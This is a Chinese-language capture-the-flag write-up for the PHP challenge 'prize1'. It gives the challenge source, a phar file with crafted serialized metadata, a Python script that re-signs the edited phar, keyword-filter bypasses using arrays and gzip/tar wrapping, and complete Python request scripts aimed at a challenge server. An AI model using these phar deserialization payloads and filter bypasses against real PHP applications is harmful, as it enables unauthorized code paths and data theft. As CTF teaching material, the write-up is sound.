0%

prize1

0 前言

花了一个晚上把prize1给复现了一下,期间遇到了一些坑点,当然也学到了很多新姿势(题的质量真是高),这篇将整个过程记录下来

本篇参考了atao xenny xilzy师傅的wp,将其中的内容做了整理,希望可以把题目对应的知识点梳理清楚

1 题目

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}

class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

1.1 代码审计

首先是一个getflag类,内容就是输出$FLAG ,触发条件为__destruct;第二个类是A,作用有两个,一个是写文件,一个是读文件,写入数据和读取对象都是POST[0]

然后就是对GET[0]的关键字判断,通过后反序列化GET[0]

1.2 思路

这里因为关键字对flag有过滤,所以无法直接触发getflag类;转眼去看A类,既然有任意内容写入+任意文件读取+,优先考虑phar,phar反序列化的基础利用请读者自行先去了解,这里不做介绍。

那我们的操作就是先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag

1.3 问题

思路是正确的,但是还需要处理细节。

①__destruct的触发

源码在最后给了一个throw Error,这个的作用是什么呢,我们可以在本地试试

image-20220401161735040 image-20220401161953402

可以看到这个throw Error使得我们的类没有被销毁(为什么没有被销毁放在下面讲),所以如何触发__destruct方法成为了一个问题

②关键字过滤的绕过

在写入文件时,我们需要带入的getflag类中还是包含了flag这个关键字,还是会被拦住。所以我们还需要想办法绕过这个关键字,同时还得保证phar://读取时仍可以反序列化其中的数据(这才是关键

2 问题解决&知识点梳理

2.1强制GC触发__destruct

在PHP中,正常触发析构函数(__destruct)有三种方法:

①程序正常结束

②主动调用unset($aa)

③将原先指向类的变量取消对类的引用,即$aa = 其他值;

前两种很好理解,我们来讲讲第三种

PHP中的垃圾回收Garbage collection机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class bilala{
public function __construct($count){
$this->count = $count;
}
public function __destruct(){
echo $this->count."destruct触发";
}
}
$aa = new bilala(1);
//这里的bilala对象就不是垃圾,因为他被$aa所引用
new bilala(2);
//这里的就是垃圾(也就是匿名对象),new出来后没被引用,就会被当作垃圾回收(所以触发析构)
echo PHP_EOL."**********************************".PHP_EOL;
$aa = new bilala(3);
//这里将$aa指向了另一个对象的引用,所以原先的对象触发析构
echo PHP_EOL."**********************************".PHP_EOL;
//程序结束,触发析构

image-20220401173829051

所以在这道题中,我们可以利用取消原本对getflag的引用,从而触发他的析构函数。

2.1.1 思路

操作如下,在phar的metadata中写入的内容为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}

这样的话,当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发他的析构函数,从而获得flag

2.1.2 修改phar文件

但新的问题又随之产生了,我们在phar中无法生成上述的字符串内容,我们只能生成a:2:{i:0;O:7:"getflag":0:{}i:1;N;},(这里先贴上生成phar文件的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class getflag{
}
$a = new getflag();
$a = array(0=>$a,1=>null);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件(随便填)
//签名自动计算
$phar->stopBuffering();
?>

(不知道为什么无法生成a:2:{i:0;O:7:"getflag":0:{}i:0;N;}的可以将代码中的1=>null改成0=>null试试)

(无法生成的话记得修改php.ini中的phar的readonlyoff并去掉这行前边的分号,具体操作百度)

生成后查看phar

image-20220401192637320

(我这里为了方便查看metadata数据所以选择用记事本打开,但这其实为我埋下了坑)

在复现时,我以为直接将那个1改为0,再重新计算签名就好了,然而实际上这行不通,在记事本中修改的话,实际上被修改的不止你改了的数字,还有后面的签名以及签名计算方法等等,所以千万别在记事本里改!!!(坑死我了)

正确方法是在010editor中修改,将对应的位由1改成0,然后保存

image-20220401193259365

2.1.3 phar签名

phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名,查看PHP手册找到phar的签名格式

image-20220401194723486

我们刚刚的phar的签名标志位为0x0002,为SHA1签名,所以我们要计算的是出的字节是[-28:-8],用脚本计算我们新的phar文件的签名,并重新写入文件(也可以导出为新文件)

1
2
3
4
5
6
7
8
from hashlib import sha1
with open("phar.phar",'rb') as f:
text=f.read()
main=text[:-28] #正文部分(除去最后28字节)
end=text[-8:] #最后八位也是不变的
new_sign=sha1(main).digest()
new_phar=main+new_sign+end
open("phar.phar",'wb').write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件

至此,第一个问题算是解决了(这个文件留着有用)

2.2 PHP异常

PHP中的错误级别:

致命错误 E_ERROR, 语法错误 E_PARSE, 警告错误 E_WARNING, 通知错误 E_NOTICE

其中前两种会导致程序异常退出(中止),所以程序本该释放内存等这些操作也就无法完成了,也就无法触发析构函数

而后两种只是抛出异常,但仍会继续执行程序

2.3 数组绕过preg_match

这个不用多说了,就是在题中POST[0]传入数组即可绕过关键字检测,就可以直接写入phar文件的内容了,无需对phar文件做额外处理,然后直接获取flag

2.4 phar://支持的后缀

除了.phar可以用phar://读取,gzip bzip2 tar zip 这四个后缀同样也支持phar://读取

具体可参考guoke师傅的文章

所以在此题中,可以对phar.phar文件做以上这些处理,使其成为乱码,从而绕过关键字的检测。

①gzip

直接在Linux中gzip压缩一下,然后通过POST[0]上传这个文件,再读取flag

image-20220401204857243

②tar

在guoke师傅的文章中有PHP对tar文件的phar://的底层处理源码分析,其中有涉及到.phar/.metadata这个文件,这里只讲怎么操作

先新建一个.phar文件夹,在文件夹中新建.metadata文件,内容直接写入a:2:{i:0;O:7:"getflag":0:{}i:0;N;}

将文件夹拖入Linux中,tar -cf tartest.tar .phar/生成新文件后再对新文件gzip一下得到tartest.tar.gz文件,再POST这个文件的内容,再读取获得flag

(这里需要注意,.phar在Linux中显示为隐藏文件,所以拖入后可能会看不见,利用ls -al可以看到)

image-20220401205935464

3 题解

此处再梳理一下思路,我们先传入构造的phar文件内容,但是在传入时我们需要先绕过preg_match的检测(数组绕过或者tar,gzip),传入后我们再利用phar://tmp/a.txt读取文件。读取时,会反序列化其中的metadata数据(我们构造的数据),在反序列化a:2:{i:0;O:7:"getflag":0:{}i:0;N;}时,又会因为类被取消引用从而触发GC,从而触发getflag类的析构函数,从而获取flag

3.1 ①数组绕过

首先要完成2.1中的操作,获得一个正确签名的且有我们想要的metadata数据的phar文件。

然后在POST[0]时传入数组即可,具体看脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import re

url="http://1.14.71.254:28517/"

### 写入phar文件
with open("phar.phar",'rb') as f:
data1={'0[]':f.read()} #传数组绕过,值就是phar.phar文件的内容
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
res1 = requests.post(url=url, params=param1,data=data1)

### 读phar文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(res2.text)
print(flag)

3.2 ②gzip绕过

同样的也先完成2.1中的操作获得phar文件,再将此phar文件如2.4中的①一样操作,获得phar.phar.gz文件,再利用3.1中的脚本,将文件名phar.phar改成phar.phar.gz即可,当然也可以直接用脚本进行gzip压缩并完成后续一系列操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
import gzip

url="http://1.14.71.254:28517/"

### 先将phar文件变成gzip文件
with open("phar.phar",'rb') as f1:
phar_zip=gzip.open("gzip.zip",'wb') #创建了一个gzip文件的对象
phar_zip.writelines(f1) #将phar文件的二进制流写入
phar_zip.close()

###写入gzip文件
with open("gzip.zip",'rb') as f2:
data1={0:f2.read()} #利用gzip后全是乱码绕过
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
p1 = requests.post(url=url, params=param1,data=data1)

### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
print(flag)

3.3 ③tar绕过

(无需先完成2.1中获得新phar文件的操作了)直接如2.4②中那般操作,获得tartest.tar.gz文件,然后利用3.1中的脚本,改对应文件名即可

image-20220401212458085

4 疑惑解答

这里就列出一些大家可能存在疑问的地方,希望可以帮助到大家(还有疑问的可以在评论里留言

Q:为什么getflag类的析构不会触发,而A类的析构可以触发

A:反序列化A类时用的是unserialize($_GET[0])语句,用完就被丢了,触发GC(前边提到了),进而触发析构

Q:为什么phar://tmp/a.txt会触发反序列化,不是说只能那五个后缀才可以吗

A:一个文件是什么类型不取决于文件名中的后缀,而是由他的文件格式决定的(放010editor下可以看到)

5 吐槽

当时用的xenny师傅的脚本,就是writeup里admin的题解,结果他的脚本中有小瑕疵,然后我一直跑不出来,后来用的xilzy师傅的脚本才出来,然后我就仔细比对两个之间的差别,找了好久才发现xenny的脚本中少了个1

image-20220401213851695

如果师傅们用的这个脚本可以留意一下(后来和群主反馈过了

555,在这里浪费了好长时间

-------------本文结束感谢您的阅读-------------